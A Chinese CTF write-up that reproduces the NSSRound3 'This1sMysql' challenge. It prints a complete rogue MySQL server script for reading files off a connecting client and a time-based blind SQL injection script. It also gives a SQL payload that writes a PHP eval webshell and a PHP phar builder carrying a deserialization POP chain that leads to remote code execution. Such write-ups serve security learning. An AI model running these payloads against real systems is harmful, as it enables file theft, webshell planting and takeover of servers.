NSSRound3---This1sMysql 复现

是NSS平台的第三轮比赛,也是从这题里学到了很多,题目链接在下面

https://www.ctfer.vip/#/problem/sheet/2265

知识点

  • Rogue-MySql-Server
  • 利用SQL盲注注入出目录
  • MySQL写入文件
  • POP链构造
  • phar伪协议的利用

题解

一来就给了源码,看操作是一个链接数据库,并且这些数据库连接的参数我们都可控

熟悉的师傅知道这就需要利用Rogue-MySql-Server这个技术(我不熟悉

可以参考https://baijiahao.baidu.com/s?id=1728256347925725724&wfr=spider&for=pc

所以我们可以利用如下脚本去读取文件

from socket import AF_INET, SOCK_STREAM, error
from asyncore import dispatcher, loop as _asyLoop
from asynchat import async_chat
from struct import Struct
from sys import version_info
from logging import getLogger, INFO, StreamHandler, Formatter

_rouge_mysql_sever_read_file_result = {

}
_rouge_mysql_server_read_file_end = False


def checkVersionPy3():
return not version_info < (3, 0)


def rouge_mysql_sever_read_file(fileName, port, showInfo):
if showInfo:
log = getLogger(__name__)
log.setLevel(INFO)
tmp_format = StreamHandler()
tmp_format.setFormatter(Formatter("%(asctime)s : %(levelname)s : %(message)s"))
log.addHandler(
tmp_format
)

def _infoShow(*args):
if showInfo:
log.info(*args)

# ================================================
# =======No need to change after this lines=======
# ================================================

__author__ = 'Gifts'
__modify__ = 'Morouu'

global _rouge_mysql_sever_read_file_result

class _LastPacket(Exception):
pass

class _OutOfOrder(Exception):
pass

class _MysqlPacket(object):
packet_header = Struct('<Hbb')
packet_header_long = Struct('<Hbbb')

def __init__(self, packet_type, payload):
if isinstance(packet_type, _MysqlPacket):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload

def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = _MysqlPacket.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = _MysqlPacket.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)

result = "".join(
(
header.decode("latin1") if checkVersionPy3() else header,
self.payload
)
)

return result

def __repr__(self):
return repr(str(self))

@staticmethod
def parse(raw_data):
packet_num = raw_data[0] if checkVersionPy3() else ord(raw_data[0])
payload = raw_data[1:]

return _MysqlPacket(packet_num, payload.decode("latin1") if checkVersionPy3() else payload)

class _HttpRequestHandler(async_chat):

def __init__(self, addr):
async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.stateList = [b"LEN", b"Auth", b"Data", b"MoreLength", b"File"] if checkVersionPy3() else ["LEN",
"Auth",
"Data",
"MoreLength",
"File"]
self.state = self.stateList[0]
self.sub_state = self.stateList[1]
self.logined = False
self.file = ""
self.push(
_MysqlPacket(
0,
"".join((
'\x0a', # Protocol
'5.6.28-0ubuntu0.14.04.1' + '\0',
'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
)))
)

self.order = 1
self.states = [b'LOGIN', b'CAPS', b'ANY'] if checkVersionPy3() else ['LOGIN', 'CAPS', 'ANY']

def push(self, data):
_infoShow('Pushed: %r', data)
data = str(data)
async_chat.push(self, data.encode("latin1") if checkVersionPy3() else data)

def collect_incoming_data(self, data):
_infoShow('Data recved: %r', data)
self.ibuffer.append(data)

def found_terminator(self):
data = b"".join(self.ibuffer) if checkVersionPy3() else "".join(self.ibuffer)
self.ibuffer = []

if self.state == self.stateList[0]: # LEN
len_bytes = data[0] + 256 * data[1] + 65536 * data[2] + 1 if checkVersionPy3() else ord(
data[0]) + 256 * ord(data[1]) + 65536 * ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = self.stateList[2] # Data
else:
self.state = self.stateList[3] # MoreLength
elif self.state == self.stateList[3]: # MoreLength
if (checkVersionPy3() and data[0] != b'\0') or data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = self.stateList[2] # Data
elif self.state == self.stateList[2]: # Data
packet = _MysqlPacket.parse(data)
try:
if self.order != packet.packet_num:
raise _OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
_infoShow('Query')

self.set_terminator(3)
self.state = self.stateList[0] # LEN
self.sub_state = self.stateList[4] # File
self.file = fileName.pop(0)

# end
if len(fileName) == 1:
global _rouge_mysql_server_read_file_end
_rouge_mysql_server_read_file_end = True

self.push(_MysqlPacket(
packet,
'\xFB{0}'.format(self.file)
))
elif packet.payload[0] == '\x1b':
_infoShow('SelectDB')
self.push(_MysqlPacket(
packet,
'\xfe\x00\x00\x02\x00'
))
raise _LastPacket()
elif packet.payload[0] in '\x02':
self.push(_MysqlPacket(
packet, '\0\0\0\x02\0\0\0'
))
raise _LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == self.stateList[4]: # File
_infoShow('-- result')
# fileContent
_infoShow('Result: %r', data)
if len(data) == 1:
self.push(
_MysqlPacket(packet, '\0\0\0\x02\0\0\0')
)
raise _LastPacket()
else:
self.set_terminator(3)
self.state = self.stateList[0] # LEN
self.order = packet.packet_num + 1

global _rouge_mysql_sever_read_file_result
_rouge_mysql_sever_read_file_result.update(
{self.file: data.encode() if not checkVersionPy3() else data}
)

# test
# print(self.file + ":\n" + content.decode() if checkVersionPy3() else content)

self.close_when_done()

elif self.sub_state == self.stateList[1]: # Auth
self.push(_MysqlPacket(
packet, '\0\0\0\x02\0\0\0'
))
raise _LastPacket()
else:
_infoShow('-- else')
raise ValueError('Unknown packet')
except _LastPacket:
_infoShow('Last packet')
self.state = self.stateList[0] # LEN
self.sub_state = None
self.order = 0
self.set_terminator(3)
except _OutOfOrder:
_infoShow('Out of order')
self.push(None)
self.close_when_done()
else:
_infoShow('Unknown state')
self.push('None')
self.close_when_done()

class _MysqlListener(dispatcher):
def __init__(self, sock=None):
dispatcher.__init__(self, sock)

if not sock:
self.create_socket(AF_INET, SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', port))
except error:
exit()

self.listen(1)

def handle_accept(self):
pair = self.accept()

if pair is not None:
_infoShow('Conn from: %r', pair[1])
_HttpRequestHandler(pair)

if _rouge_mysql_server_read_file_end:
self.close()

_MysqlListener()
_asyLoop()
return _rouge_mysql_sever_read_file_result


if __name__ == '__main__':
#fileName=需要读取文件,port=VPS随意开放的端口(注意端口不能为3306,原因为啥我忘了XD
#不用在意SQL语句、账户、密码、选用的库,这些并不影响脚本运行
for name, content in rouge_mysql_sever_read_file(fileName=["/var/www/html/class.php"], port=2333,showInfo=True).items():
print(name + ":\n" + content.decode())

我们在自己的vps上运行,然后利用hackbar发我们构造好的数据包

config[8]=true&mysql[host]=VPS的IP&mysql[user]=lnk&mysql[pass]=lnk&mysql[dbname]=lnk&mysql[port]=2333

这里的config[8]就要说一下了,这也是利用到了Rogue-MySql-Server需要在mysqli_options函数中的设置

而为什么传数组8可以看Article_kelp师傅的解释(赛后的复现也是参考他的

发送后,我们在vps上就可以接受到数据

只是这个代码格式实在是难看,不知道师傅有没有好的办法转换一下

<?php
#class.php
class Upload {
public $file;
public $filesize;
public $date;
public $tmp;
function __construct(){
$this->file = $_FILES;
}
function __toString(){
return $this->file["file"]["name"];
}
function __get($value){
$this->filesize->$value = $this->date;
echo $this->tmp;
}
}
class Show{
public $source;
public $str;
public $filter;
public function __construct($file)
{
$this->source = $file;
$this->schema = 'php://filter/read=convert.base64-encode/resource=/tmp/';
}
public function __toString()
{
$content = $this->str[0]->source;
$content = $this->str[1]->schema;
return $content;
}
public function __get($value){
$this->show();
return $this->$value;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function show()
{
$filename = $this->schema . $this->source;
include($filename);
}
public function __wakeup()
{
if ($this->schema !== 'php://filter/read=convert.base64-encode/resource=/tmp/') {
$this->schema = 'php://filter/read=convert.base64-encode/resource=/tmp/';
}
if ($this->source !== 'default.jpg') {
$this->source = 'default.jpg';
}
}
}
class Test{
public $test1;
public $test2;
function __toString(){
$str = $this->test2->test;
return 'test';
}
function __get($value){
return $this->$value;
}
function __destruct(){
echo $this->test1;
}

}

?>

<?php
#function.php
$mysqlpath = isset($_GET['mysqlpath'])?$_GET['mysqlpath']:'mysql.txt';

if(!file_exists($mysqlpath)){
die("NoNONo!");
}
else{
$arr = json_decode(file_get_contents($mysqlpath));
if($conn->real_connect($arr->host, $arr->user, $arr->pass, $arr->db, $arr->port)){
echo "connect success";
}
else{
echo "connect fail";
}
}
?>

两个文件都读到手

而接下来我们的利用思路就是

利用它给的mysql.txt的的参数,连接后执行sql语句写入shell(要写入到可以写入的目录,这里需要用盲注跑出来),然后由class.php构造出POP链,为了利用里面的include包含我们的shell文件

再将POP链存入phar文件,写入到之前那个可写的目录,最后通过利用function.php里的file_exists来使用phar伪协议触发phar文件的include,就能够执行shell了

所以我们现在的首要目的就是注入出可以写的那个目录

利用select @@global.secure_file_priv+ 盲注

exp如下

"""
@Author: C4ry7nk
"""

import requests

url = "http://1.14.71.254:28684/"
payload = "select @@global.secure_file_priv"
path = ''

for i in range(1, 20):
for j in range(33, 127):
data = {
"config[3]": f"select if(ascii(substr(({payload}),{i},1)) = {j}, sleep(2),1)"
}
resp = requests.post(url=url, data=data)
# print(resp.elapsed.total_seconds())
if resp.elapsed.total_seconds() > 2:
path += chr(j)
print("[+]result:", path)
break

然后写入我们的shell

config[3]=select '<?=eval($_POST[cmd])?>' into outfile '/nssctf/lnk.php';&mysql[host]=127.0.0.1&mysql[user]=root&mysql[pass]=nssctf&mysql[dbname]=ctf&mysql[port]=3306

这里的3也是利用到上面那个mysql函数的参数,可以去了解一下

接下来是构造POP链,我这里直接贴那位师傅的EXP了

<?php
class Upload {
}
class Show{
}
class Test{
}

$phar =new Phar("qqw.phar");
$phar->startBuffering();
$phar->setStub("XXX<?php XXX __HALT_COMPILER(); ?>");

$a=new Test();
$b=new Show();
$a->test1=$b;
$c0=new Upload();
$c1=new Upload();
$b->str[0]=$c0;
$b->str[1]=$c1;
$d=new Show();
$c0->filesize=$d;
$c1->filesize=$d;
$c0->date="lnk.php";
$c1->date="/nssctf/";
$e=new Test();
$c0->tmp=$e;
$c1->tmp=$e;
$e->test2=$d;

$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

然后我们将phar文件16进制编码

利用select hex(LOAD_FILE('文件的路径'));

然后传过去

随后就可以直接RCE了,flag在env里

参考

这位师傅写的很详细,感谢🙏

https://www.cnblogs.com/Article-kelp/p/16271464.html

作者

秋秋晚

发布于

2022-05-15

更新于

2023-01-10

许可协议

评论

:D 一言句子获取中...